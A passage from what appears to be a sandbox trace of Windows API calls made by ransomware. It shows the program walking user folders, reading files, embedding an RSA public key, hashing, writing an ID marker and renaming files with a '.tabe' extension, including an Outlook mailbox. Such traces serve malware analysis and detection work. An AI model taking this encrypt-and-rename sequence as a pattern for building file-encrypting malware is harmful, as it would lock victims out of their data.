hFile=0x618, liDistanceToMove=0x147ee, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.800] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0126.802] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x14814, lpOverlapped=0x0) returned 1 [0126.803] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.803] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.803] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.803] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866fb0) returned 1 [0126.803] CryptCreateHash (in: hProv=0x866fb0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0126.803] CryptHashData (hHash=0x3463888, pbData=0x3ae70a8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0126.803] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0126.804] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0126.804] CryptDestroyHash (hHash=0x3463888) returned 1 [0126.804] CryptReleaseContext (hProv=0x866fb0, dwFlags=0x0) returned 1 [0126.804] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0126.804] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0126.804] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0126.804] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7be8 [0126.804] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x14814, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.805] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0126.805] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.805] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0126.805] CloseHandle (hObject=0x618) returned 1 [0126.806] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Yr-pcf 3y122NkdCREb\\y0vtI.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yr-pcf 3y122nkdcreb\\y0vti.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Yr-pcf 3y122NkdCREb\\y0vtI.m4a.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yr-pcf 3y122nkdcreb\\y0vti.m4a.tabe")) returned 1 [0126.807] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x359f3480, ftCreationTime.dwHighDateTime=0x1d5d943, ftLastAccessTime.dwLowDateTime=0x5518a1d0, ftLastAccessTime.dwHighDateTime=0x1d5e054, ftLastWriteTime.dwLowDateTime=0x5518a1d0, ftLastWriteTime.dwHighDateTime=0x1d5e054, nFileSizeHigh=0x0, nFileSizeLow=0x14814, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="y0vtI.m4a", cAlternateFileName="")) returned 0 [0126.807] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0126.807] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0126.807] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0126.807] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music\\") returned="My Music\\" [0126.807] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0126.807] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0126.807] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0126.807] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0126.807] PathFindFileNameW (pszPath="") returned="" [0126.807] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x359f3480, ftCreationTime.dwHighDateTime=0x1d5d943, ftLastAccessTime.dwLowDateTime=0x5518a1d0, ftLastAccessTime.dwHighDateTime=0x1d5e054, ftLastWriteTime.dwLowDateTime=0x5518a1d0, ftLastWriteTime.dwHighDateTime=0x1d5e054, nFileSizeHigh=0x0, nFileSizeLow=0x14814, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="y0vtI.m4a", cAlternateFileName="")) returned 0xffffffff [0126.807] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0126.808] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0126.808] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures\\") returned="My Pictures\\" [0126.808] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0126.808] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0126.808] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0126.808] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0126.808] PathFindFileNameW (pszPath="") returned="" [0126.808] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x359f3480, ftCreationTime.dwHighDateTime=0x1d5d943, ftLastAccessTime.dwLowDateTime=0x5518a1d0, ftLastAccessTime.dwHighDateTime=0x1d5e054, ftLastWriteTime.dwLowDateTime=0x5518a1d0, ftLastWriteTime.dwHighDateTime=0x1d5e054, nFileSizeHigh=0x0, nFileSizeLow=0x14814, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="y0vtI.m4a", cAlternateFileName="")) returned 0xffffffff [0126.808] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0126.808] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0126.808] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\") returned="My Shapes\\" [0126.808] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0126.808] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0126.808] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0126.808] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0126.808] PathFindFileNameW (pszPath="") returned="" [0126.808] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0126.808] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="..", cAlternateFileName="")) returned 1 [0126.809] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebf97a0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0xd8, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0126.809] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\desktop.ini") returned=".ini" [0126.809] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9e9e4460, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9e9e4460, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="Favorites.vss", cAlternateFileName="FAVORI~1.VSS")) returned 1 [0126.809] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\Favorites.vss") returned=".vss" [0126.809] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\Favorites.vss" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my shapes\\favorites.vss"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0126.809] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=0) returned 1 [0126.810] CloseHandle (hObject=0x618) returned 1 [0126.810] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\Favorites.vss" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my shapes\\favorites.vss"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\Favorites.vss.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my shapes\\favorites.vss.tabe")) returned 1 [0126.810] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="_private", cAlternateFileName="")) returned 1 [0126.810] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="_private", cAlternateFileName="")) returned 0 [0126.810] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0126.810] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0126.810] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0126.810] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos\\") returned="My Videos\\" [0126.810] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0126.810] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0126.810] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0126.811] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0126.811] PathFindFileNameW (pszPath="") returned="" [0126.811] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="_private", cAlternateFileName="")) returned 0xffffffff [0126.811] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0126.811] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0126.811] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\") returned="Outlook Files\\" [0126.811] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0126.811] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0126.811] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0126.811] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0126.811] PathFindFileNameW (pszPath="") returned="" [0126.811] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a7a9f80, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x8a4af3c0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x8a4af3c0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0126.811] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a7a9f80, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x8a4af3c0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x8a4af3c0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="..", cAlternateFileName="")) returned 1 [0126.811] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5a868660, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5a868660, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x8a4fb680, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x42400, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="voeimd@djhreuu.uhd.pst", cAlternateFileName="VOEIMD~1.PST")) returned 1 [0126.811] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst") returned=".pst" [0126.811] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\outlook files\\voeimd@djhreuu.uhd.pst"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0126.812] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=271360) returned 1 [0126.812] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0126.813] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x423da, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.813] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0126.814] SetFilePointer (in: hFile=0x618, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0126.814] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x25805, lpOverlapped=0x0) returned 1 [0126.817] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.817] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.817] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.817] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866e18) returned 1 [0126.818] CryptCreateHash (in: hProv=0x866e18, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0126.818] CryptHashData (hHash=0x3463888, pbData=0x3ae95d8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0126.818] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0126.818] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0126.818] CryptDestroyHash (hHash=0x3463888) returned 1 [0126.818] CryptReleaseContext (hProv=0x866e18, dwFlags=0x0) returned 1 [0126.818] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0126.818] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0126.818] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0126.818] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7be8 [0126.819] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x42400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.819] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0126.891] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.891] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0126.891] CloseHandle (hObject=0x618) returned 1 [0126.894] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\outlook files\\voeimd@djhreuu.uhd.pst"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook 